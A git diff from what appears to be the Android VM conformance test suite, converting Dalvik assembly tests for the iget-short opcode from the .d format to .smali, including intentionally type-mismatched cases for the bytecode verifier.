diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_1.d
deleted file mode 100644
index 822f09e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_1.d
+++ /dev/null
@@ -1,48 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_1.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_1
-.super java/lang/Object
-
-.field public  i1 S
-.field protected  p1 S
-.field private  pvt1 S
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       const v0, 32000
-       iput-short v0, v1, dot.junit.opcodes.iget_short.d.T_iget_short_1.i1 S
-
-       const v0, 32000
-       iput-short v0, v1, dot.junit.opcodes.iget_short.d.T_iget_short_1.p1 S
-
-       const v0, 32000
-       iput-short v0, v1, dot.junit.opcodes.iget_short.d.T_iget_short_1.pvt1 S
-       
-       
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       iget-short v1, v2, dot.junit.opcodes.iget_short.d.T_iget_short_1.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_1.smali
new file mode 100644
index 0000000..d783c73
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_1.smali
@@ -0,0 +1,48 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_1.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_1;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+.field protected  p1:S
+.field private  pvt1:S
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       const v0, 32000
+       iput-short v0, v1, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->i1:S
+
+       const v0, 32000
+       iput-short v0, v1, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->p1:S
+
+       const v0, 32000
+       iput-short v0, v1, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->pvt1:S
+       
+       
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_11.d
deleted file mode 100644
index 0dfd2f1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_11.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_11
-.super dot/junit/opcodes/iget_short/d/T_iget_short_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_short/d/T_iget_short_1/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       iget-short v1, v2, dot.junit.opcodes.iget_short.d.T_iget_short_1.p1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_11.smali
new file mode 100644
index 0000000..c49bf06
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_11.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_11;
+.super  Ldot/junit/opcodes/iget_short/d/T_iget_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->p1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_12.d
deleted file mode 100644
index e47f6a6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_12.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_12
-.super dot/junit/opcodes/iget_short/d/T_iget_short_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_short/d/T_iget_short_1/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       iget-short v1, v2, dot.junit.opcodes.iget_short.d.T_iget_short_1.pvt1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_12.smali
new file mode 100644
index 0000000..281d7bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_12.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_12;
+.super  Ldot/junit/opcodes/iget_short/d/T_iget_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->pvt1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_13.d
deleted file mode 100644
index 22a94a5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_13.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_13
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v0, v2, dot.junit.opcodes.iget_short.d.T_iget_short_13.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_13.smali
new file mode 100644
index 0000000..82f896e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_13.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_13;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_14.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_14.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_14.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_14.smali
new file mode 100644
index 0000000..ed97b870
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_short/d/T_iget_short_14;
+.super Ljava/lang/Object;
+.source "T_iget_short_14.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iget-short v0, p0, Ldot/junit/opcodes/iget_short/d/T_iget_short_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_15.d
deleted file mode 100644
index cf1fbf5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_15.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_15
-.super java/lang/Object
-
-.field public i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v0, v2, dot.junit.opcodes.iget_short.d.T_iget_short_15.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_15.smali
new file mode 100644
index 0000000..dfb7fc5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_15.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_15;
+.super  Ljava/lang/Object;
+
+.field public i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_15;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_16.d
deleted file mode 100644
index 635640a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_16.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_16
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v0, v2, dot.junit.opcodes.iget_short.d.T_iget_short_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_16.smali
new file mode 100644
index 0000000..e66cf39
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_16.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_17.d
deleted file mode 100644
index 6a717be..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_17.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_17
-.super java/lang/Object
-
-.field public  i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v0, v2, dot.junit.opcodes.iget_short.d.T_iget_short_17.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_17.smali
new file mode 100644
index 0000000..81e2780f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_17.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_17;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_18.d
deleted file mode 100644
index 70dda5b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_18.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_18
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v0, v2, dot.junit.opcodes.iget_short.d.T_iget_short_18.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_18.smali
new file mode 100644
index 0000000..010639b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_18.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_18;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_19.d
deleted file mode 100644
index cdaa952..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_19.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_19
-.super java/lang/Object
-
-.field public  i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v0, v2, dot.junit.opcodes.iget_short.d.T_iget_short_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_19.smali
new file mode 100644
index 0000000..92892bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_19.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_20.d
deleted file mode 100644
index 5568f60..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_20.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_20
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v0, v2, dot.junit.opcodes.iget_short.d.T_iget_short_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_20.smali
new file mode 100644
index 0000000..44f8259
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_20.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.d
deleted file mode 100644
index f3298fb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_21.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_short/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_short/TestStubs/<init>()V
-
-       iget-short v1, v0, dot.junit.opcodes.iget_short.TestStubs.TestStubProtectedField S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.smali
new file mode 100644
index 0000000..716542e
